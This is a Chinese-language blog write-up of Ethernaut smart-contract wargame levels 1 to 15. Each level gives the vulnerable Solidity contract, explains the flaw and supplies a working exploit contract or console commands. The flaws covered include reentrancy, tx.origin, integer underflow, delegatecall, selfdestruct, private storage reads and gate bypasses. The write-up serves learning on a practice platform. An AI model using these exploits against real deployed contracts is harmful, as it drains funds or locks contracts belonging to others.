Before all Hitcon 後一直說要學 web3,然後之後都在忙備審/校內/大學課程,導致一直沒機會。 最近稍微閒下來開始透過 Ethernaut(link) 學 web3 和 solidity 基礎,發現打智能合約其實蠻好玩的XD 身為web狗也該來打web3了吧👊 即時更新的 Write Up:https://hackmd.io/@Whale120/etherwhale
Level 1 Fallback Victim’s Address: 0x640ba57ADbCEbaD2E472c56E190EF120C4087589 第一次操作Remix IDE,胡亂胡亂終於搞懂了…… Remix IDE 教學:https://decert.me/tutorial/solidity/tools/remix
Step 0. Start Instance 滑到底部,開啟,交易後按下 F12 就會看到當前協議的地址
Step 1. Deploy 把題目提供的solidity腳本貼到Remix IDE創建的新文件上面:
接著compile協議,然後去 deploy & run 選擇Injected錢包、Gas Limit調一下(不然很燒燃料費,本次使用50000),最後在 At Address調整一下地址成剛剛的協議地址
點開底部的Contracts,原則上應該在剛剛的地址建立協議了:
一排按鈕就是協議裡面public可檢視的內容,可以看到一開始owner不是自己~
Step 2. Exploit 任務:
變成owner
把錢提走
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint256) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
觀察contribute
,在contribution大小超過原本的owner時就可以成為新的owner,而withdraw
方法做的事情就是透過onlyOnwer確認你是owner後就把錢都往你地址轉,就完成這題了!
Exploit: contribute -> owner(確認自己是owner) -> withdraw P.S. contribute 1 wei的方法
Level 2 Fallout 任務:
變成owner
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } }
發現constructor函數外露,直接去請求Fal1out就變成owner了
Level 3 Coin Flip Victim’s Address: 0xBC01FBc340C413293489418b0A0c9A0C54336Ab9 題目要求:
連續預測正確十次
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
首先觀察,發現每次隨機是由區塊上的狀態取hash,所以只需要部署一個服務在相同的鏈上就可以取得相同的狀態,進而獲得當次的硬幣區塊。
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Coinflip { function flip(bool _guess) external returns (bool); } contract FAKE_CoinFlip { Coinflip public target = Coinflip(0xBC01FBc340C413293489418b0A0c9A0C54336Ab9); uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function FAKE_flip() public{ uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; target.flip(side); } }
利用建立interface的方法把預測結果送到Victim’s Contract, 呼叫十次Fake_flip就結束這回合ㄌ
P.S.可以自己把GAS Limit調小,打起來不會太貴
Level 4 Telephone Victim’s Address: 0xe905433025193D3CBF904601Aab36E6a82d6C591 任務:
變成owner
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
在solidity裡面,tx.origin是發起交易時會記錄在stack上面的起始位置,而msg.sender則單純看信息來源是誰,意味著使用tx.origin判斷使用者是誰是不安全的。 發起中間人攻擊Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone { function changeOwner(address _owner) external; } contract MitM { Telephone public target = Telephone(0xe905433025193D3CBF904601Aab36E6a82d6C591); function attack(address _owner) public{ target.changeOwner(_owner); } }
最後Deploy出去,再attack(自己的地址)即可。
Level 5 Token 一個基本的Token系統,初始進入時會給你20個token 任務:
讓自己的balance>20
Source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
觀察到它使用了uint256進行資料儲存,所以儘管會檢查餘額,只要輸入像是 $2^{256} - 1$ 之類的數字就可以完成Interger Overflow的攻擊,讓餘額變成 $20+(2^{256} - 1)=21(mod 2^{256})$
Level 6 Delegation 任務:
變成owner
所謂的delegation,以這題而言就是可以在Delegation的合約裡調用Delegate的函數(不包含環境),而fallback函數則是被傳入空值時會調用到的函數,所以以這題而言發個空的pwn()過去Delegation合約即可。不過這題如果想過呼叫一下Delegate合約的pwn()就好(X)
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
具體利用方法為取得pwn()的Keccack-256 hash前4 bytes往Delegation送就好。Online Keccack-256(link)
PWNED!!
Level 7 Force Victim’s address: 0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129
一個空的合約 任務:
讓他的balance>0 ?!
啥玩意Source Code:
1 2 3 4 5 6 7 8 9 10 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }
在solidity裡面,如果在同一個net內,可以利用selfdestruct(addr)的方法將錢強制轉到地址addr,所以有了以下攻擊服務:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleWallet { event Deposit(address indexed sender, uint amount); constructor() { } function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { address payable addr = payable(address(0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129)); selfdestruct(addr); } }
先透過deposit轉入 1 wei 的錢,再利用attack函數觸發selfdestruct即可。
Level 8 Vault 任務:
送出正確的密碼
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
在solidity中,把一個變數設為private僅代表它不會被其他合約調用,不等於查不到。 尋找方法(Remix IDE console):
1 web3.eth .getStorageAt (contract.address , 1 )
拿到ㄌXD,透過unlock函數送回去即可。
Level 9 King Victim’s address: 0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729 任務:
讓別人無法再轉帳進來
這個合約會訂定一個prize的值,如果你想成為King,你需要轉入大於prize的一筆錢,而你可以獲取以前的prize金額(龐氏騙局來著)
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint256 public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
solidity裡面的transfer中,如果調用對象的地址是一個合約,那它會依序去觸發receive -> fallback
然而,今天如果攻擊者合約的fallback函數是壞掉的,並在一開始去轉帳佔領了目前King的身分,將會導致其他用戶無法轉帳成功並成為新的King。
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleWallet { event Deposit(address indexed sender, uint amount); function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { address payable addr = payable(address(0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729)); (bool success, ) = addr.call{value: 1000000000000001}(""); require(success, "Transfer failed"); } fallback() external payable{ require(false); } }
一樣部署在Remix IDE,先用deposit函數幫它充值一下再透過attack轉帳到Victim那
Level 10 Re-entrancy Victim’s address: 0x1A1D0331408f581F2566B57a2456286171d7F0a1 任務:
把所有錢領走
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
重入攻擊 (Re-entrancy Attack),如上面的程式所示,withdraw函數是先用call把錢轉入對方帳戶再確認ammount,聽起來很正常… 但今天如果轉入的帳戶地址是一個合約,並且fallback函數(承上題知識點:call進來的時候就會觸發fallback)會再次去請求Victim的withdraw?!
瞬間變成不斷卡在提款階段,導致根本沒辦法進行到amount的檢查
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Reentrance{ function donate(address _to) external payable; function withdraw(uint _amount) external; function balanceOf(address _who) external view returns (uint balance); } contract WhaleWallet { Reentrance public victim = Reentrance(0x1A1D0331408f581F2566B57a2456286171d7F0a1); address payable public target = payable(address(0x1A1D0331408f581F2566B57a2456286171d7F0a1)); event Deposit(address indexed sender, uint amount); function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { victim.donate{value: 0.0001 ether}(address(this)); victim.withdraw(0.0001 ether); } fallback() external payable{ victim.withdraw(0.0001 ether); } }
Level 11 Elevator Victim’s address: 0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a 目標:
改變 floor 的值
top 是 true
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
它會去調用發送地址的isLastFloor函數,如果請求結果第一次是false,floor就會被更新,然後top會變成再次請求isLastFloot的結果。
想達成任務,只需要寫一個第一次會回傳false,第二次會回傳true的函數即可~
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator { function goTo(uint256 _floor) external; } contract WhaleHouse{ uint256 public meow=0; Elevator public target = Elevator(0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a); function isLastFloor(uint256 floor) payable public returns(bool){ if(meow==0){ meow=1; return false; } else{ return true; } } function attack() public payable{ target.goTo(1); } }
deploy好按下attack,最後檢查meow是不是變成1就知道是否通關了!
Level 12 Privacy Victim’s address: 0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367 任務:
拿到密碼通關
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
solidity儲存一格資料(slot)是256bits,編號從1開始。 所以一開始的bool locked因為後面接的是uint256的資料ID,會獨自占用一個slot,同理對於ID 接著後面三個資料flattening, denomination, awkwardness一起占用一個slot,最後就是data每項自己占用一格。
slot table:
index
contents
1
locked(1 bit)
2
ID(256 bits)
3
flattening+denomination+awkwardness*(32 bits)
4
data[0](256 bits/32 bytes)
5
data[1](256 bits/32 bytes)
6
data[2](256 bits/32 bytes)
接下來就跟Level 8的Vault一樣了,取前16bytes資料送出,結案XD
web3.eth.getStorageAt('0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367', 5)
Level 13 Gatekeeper One Victim’s address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C 任務:
通過所有gate
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
第一個gate就是過去tx.origin的繞過,建立一個attack service再由我們錢包發起,EZ 第二個gate就是進行爆破,讓gasfee最後可以通過即可。 第三個則是要構造通過gate three函數的payload,基本上動腦想想就好ㄌ 我是構造0xfaceb00c0000f05C
,faceb00c
任意換成非零的東西都可以。
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Exploit { function attack_(bytes8 _gateKey) public { for (uint256 i = 0; i < 1000; i++) { (bool result,) = address(0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c).call{gas:i + 8191 * 4}(abi.encodeWithSignature("enter(bytes8)",_gateKey)); if (result) { break; } } } }
Level 14 Gatekeeper Two 任務:
通過三個gate
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
第一個gate老招數,中間人 第二個gate則是solidity的特性,他會計算地址的程式大小,但solidity不會把coonstructor算入程式大小 第三個gate就是簡單拿合約取hash xor即可
Exploit.sol
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwo{ function enter(bytes8 _gateKey) external returns (bool); } contract Exploit{ constructor(address target) { bytes8 payload = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max); GatekeeperTwo(target).enter(payload); } }
Level 15 Naught Coin 任務:
把所有自己的Naught Coin Token轉走
一個繼承ERC 20的Token合約,可以參考這篇會比較清楚:https://news.cnyes.com/news/id/4981550
transfer protocol被鎖了,要等十年
Source Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
因為他沒有幫transferFrom上鎖,但這在ERC20裡面依然可以轉帳 所以使用approve把自己的token領出來->transferFrom轉到instance帳號即可 P.S.記得把自己錢用balenceOf領乾淨w
1 2 3 balance = await contract.balanceOf (player).then (v => v.toString ()) contract.approve (player, balance) contract.transferFrom (player, instance, balance)